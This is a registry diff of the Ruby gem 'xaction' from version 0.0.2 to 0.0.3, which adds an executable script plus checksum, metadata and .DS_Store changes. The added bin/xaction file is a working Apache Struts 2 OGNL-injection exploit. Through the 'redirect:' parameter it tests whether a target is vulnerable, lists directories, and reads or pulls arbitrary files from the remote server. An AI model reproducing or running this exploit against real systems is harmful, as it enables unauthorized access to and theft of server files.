xaction 0.0.2 → 0.0.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +8 -8
- data/.DS_Store +0 -0
- data/bin/.DS_Store +0 -0
- data/bin/xaction +82 -0
- data/lib/.DS_Store +0 -0
- data/lib/xaction.rb +1 -3
- data/lib/xaction/version.rb +1 -1
- data/xaction.gemspec +3 -2
- metadata +10 -4
checksums.yaml
CHANGED
@@ -1,15 +1,15 @@
|
|
1
1
|
---
|
2
2
|
!binary "U0hBMQ==":
|
3
3
|
metadata.gz: !binary |-
|
4
|
-
|
4
|
+
YmFlZmZmMTI4ZTRkZDMwYzMxZGZjZTYzYTU0Y2Y4MjkyN2VlMWRmMw==
|
5
5
|
data.tar.gz: !binary |-
|
6
|
-
|
6
|
+
MTAzYjQ5OTM4NjNhYjM3MmVkOTAxOWY3MWM3MjY5OWQzMjQ1MjNmOA==
|
7
7
|
!binary "U0hBNTEy":
|
8
8
|
metadata.gz: !binary |-
|
9
|
-
|
10
|
-
|
11
|
-
|
9
|
+
YTFlNjYyZmM0OTg5YjVkZTZiMmQyZTg5NzUyN2I3MjI4NWMwYWI0MjU4NzM0
|
10
|
+
YWVjZTQ1ZDExMmNkZDc2YTgyZTk2YjY2ZmI0Nzg2ZjFkMDYxM2M0N2NmNGI2
|
11
|
+
ZDJjZGE0NGExYjM2ZDZiMDQ5MTI0YjM4ZmQzNjI2NzNiMThhMzM=
|
12
12
|
data.tar.gz: !binary |-
|
13
|
-
|
14
|
-
|
15
|
-
|
13
|
+
Nzk2MjIwODk3OWU3N2YwMzZjNjA3MmY1MTc3MmQ4MDBhZGFjNTg5MjgxMGM5
|
14
|
+
MjMxNjk4ODBkZjhlYjJjZGM2NDYyODdhMjgzZGU3MTE4YTEyNjM2MjVlMmIz
|
15
|
+
NjQ2MDRhNDY4ZTI1ZDJjNzJkNTM1YWQyNTllODBmMzdhMWJhNDE=
|
data/.DS_Store
ADDED
Binary file
|
data/bin/.DS_Store
ADDED
Binary file
|
data/bin/xaction
ADDED
@@ -0,0 +1,82 @@
|
|
1
|
+
require 'cgi'
|
2
|
+
require "open-uri"
|
3
|
+
|
4
|
+
def getHead
|
5
|
+
poc = CGI.escape("{")
|
6
|
+
poc += CGI.escape("#a_resp=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),")
|
7
|
+
return poc
|
8
|
+
end
|
9
|
+
|
10
|
+
def addEnd(str)
|
11
|
+
str += CGI.escape("#a_resp.getWriter().flush(),")
|
12
|
+
str += CGI.escape("#a_resp.getWriter().close()")
|
13
|
+
str += CGI.escape("}")
|
14
|
+
res = ARGV[0]
|
15
|
+
res +="?redirect:%25"
|
16
|
+
res += str
|
17
|
+
end
|
18
|
+
|
19
|
+
#exec
|
20
|
+
def exe(r)
|
21
|
+
html_response = nil
|
22
|
+
open(r) do |http|
|
23
|
+
html_response = http.read
|
24
|
+
end
|
25
|
+
return html_response
|
26
|
+
end
|
27
|
+
|
28
|
+
#test server
|
29
|
+
if ARGV.length==1||ARGV[1]=="try"
|
30
|
+
poc = getHead
|
31
|
+
poc += CGI.escape("#a_str=new java.lang.String('jq testing result:'),")
|
32
|
+
poc += CGI.escape("#b_str=new java.lang.String('struts is not safe'),")
|
33
|
+
poc += CGI.escape("#a_resp.getWriter().println(#a_str+#b_str),")
|
34
|
+
poc += CGI.escape("#dir=new java.io.File(''),")
|
35
|
+
poc += CGI.escape("#a_resp.getWriter().println('root is: '+#dir.getAbsolutePath()+'\n'),")
|
36
|
+
poc = addEnd(poc)
|
37
|
+
puts exe(poc)
|
38
|
+
end
|
39
|
+
|
40
|
+
#ls example ls d:/
|
41
|
+
if ARGV[1]=="ls"
|
42
|
+
poc = getHead
|
43
|
+
poc += CGI.escape("#dir=new java.io.File('#{ARGV[2]}'),")
|
44
|
+
poc += CGI.escape("#count=#dir.listFiles().length,")
|
45
|
+
poc += CGI.escape("#a_resp.getWriter().println(#count),")
|
46
|
+
poc = addEnd(poc)
|
47
|
+
count = exe(poc).to_i
|
48
|
+
count.times do |x|
|
49
|
+
poc = getHead
|
50
|
+
poc += CGI.escape("#dir=new java.io.File('#{ARGV[2]}'),")
|
51
|
+
poc += CGI.escape("#file=#dir.listFiles()[#{x}],")
|
52
|
+
#poc += CGI.escape("#a_resp.getWriter().println((#file.isDirectory()?'dir ':'file')+'|'+#file+'|'+(#file.isDirectory()?#file.getLength():#file.listFiles().length)),")
|
53
|
+
poc +=CGI.escape("#a_resp.getWriter().println((#file.isDirectory()?'dir ':'file')+'|'+(#file.isDirectory()?#file.listFiles().length:#file.length())+'|'+#file),")
|
54
|
+
poc = addEnd(poc)
|
55
|
+
puts exe(poc)
|
56
|
+
end
|
57
|
+
end
|
58
|
+
|
59
|
+
#downloadFile in winServer
|
60
|
+
if ARGV[1]=="download"
|
61
|
+
poc = getHead
|
62
|
+
poc += CGI.escape("#file=new java.io.File('#{ARGV[2]}'),")
|
63
|
+
poc += CGI.escape("#filelength=#file.length(),#filecontent=new byte[#filelength],")
|
64
|
+
poc += CGI.escape("#inp=new java.io.FileInputStream(#file),#inp.read(#filecontent),")
|
65
|
+
poc += CGI.escape("#a_resp.getOutputStream(),")
|
66
|
+
poc = addEnd(poc)
|
67
|
+
puts poc
|
68
|
+
puts exe(poc)
|
69
|
+
end
|
70
|
+
|
71
|
+
#readFile in winServer
|
72
|
+
if ARGV[1]=="cat"
|
73
|
+
poc = getHead
|
74
|
+
poc += CGI.escape("#file=new java.io.File('#{ARGV[2]}'),")
|
75
|
+
poc += CGI.escape("#filelength=#file.length(),#filecontent=new byte[#filelength],")
|
76
|
+
poc += CGI.escape("#inp=new java.io.FileInputStream(#file),#inp.read(#filecontent),")
|
77
|
+
poc += CGI.escape("#a_resp.getWriter().println(new java.lang.String(#filecontent)),")
|
78
|
+
poc = addEnd(poc)
|
79
|
+
puts exe(poc)
|
80
|
+
end
|
81
|
+
|
82
|
+
|
data/lib/.DS_Store
ADDED
Binary file
|
data/lib/xaction.rb
CHANGED
data/lib/xaction/version.rb
CHANGED
data/xaction.gemspec
CHANGED
@@ -8,8 +8,8 @@ Gem::Specification.new do |spec|
|
|
8
8
|
spec.version = Xaction::VERSION
|
9
9
|
spec.authors = ["Ju Qiang/鞠强"]
|
10
10
|
spec.email = ["840046209@qq.com"]
|
11
|
-
spec.description = %q{
|
12
|
-
spec.summary = %q{
|
11
|
+
spec.description = %q{Write a gem description}
|
12
|
+
spec.summary = %q{Write a gem summary}
|
13
13
|
spec.homepage = ""
|
14
14
|
spec.license = "MIT"
|
15
15
|
|
@@ -17,6 +17,7 @@ Gem::Specification.new do |spec|
|
|
17
17
|
spec.executables = spec.files.grep(%r{^bin/}) { |f| File.basename(f) }
|
18
18
|
spec.test_files = spec.files.grep(%r{^(test|spec|features)/})
|
19
19
|
spec.require_paths = ["lib"]
|
20
|
+
|
20
21
|
spec.add_development_dependency "bundler", "~> 1.3"
|
21
22
|
spec.add_development_dependency "rake"
|
22
23
|
end
|
metadata
CHANGED
@@ -1,7 +1,7 @@
|
|
1
1
|
--- !ruby/object:Gem::Specification
|
2
2
|
name: xaction
|
3
3
|
version: !ruby/object:Gem::Version
|
4
|
-
version: 0.0.
|
4
|
+
version: 0.0.3
|
5
5
|
platform: ruby
|
6
6
|
authors:
|
7
7
|
- Ju Qiang/鞠强
|
@@ -38,18 +38,24 @@ dependencies:
|
|
38
38
|
- - ! '>='
|
39
39
|
- !ruby/object:Gem::Version
|
40
40
|
version: '0'
|
41
|
-
description:
|
41
|
+
description: Write a gem description
|
42
42
|
email:
|
43
43
|
- 840046209@qq.com
|
44
|
-
executables:
|
44
|
+
executables:
|
45
|
+
- .DS_Store
|
46
|
+
- xaction
|
45
47
|
extensions: []
|
46
48
|
extra_rdoc_files: []
|
47
49
|
files:
|
50
|
+
- .DS_Store
|
48
51
|
- .gitignore
|
49
52
|
- Gemfile
|
50
53
|
- LICENSE.txt
|
51
54
|
- README.md
|
52
55
|
- Rakefile
|
56
|
+
- bin/.DS_Store
|
57
|
+
- bin/xaction
|
58
|
+
- lib/.DS_Store
|
53
59
|
- lib/xaction.rb
|
54
60
|
- lib/xaction/version.rb
|
55
61
|
- xaction.gemspec
|
@@ -76,5 +82,5 @@ rubyforge_project:
|
|
76
82
|
rubygems_version: 2.0.3
|
77
83
|
signing_key:
|
78
84
|
specification_version: 4
|
79
|
-
summary:
|
85
|
+
summary: Write a gem summary
|
80
86
|
test_files: []
|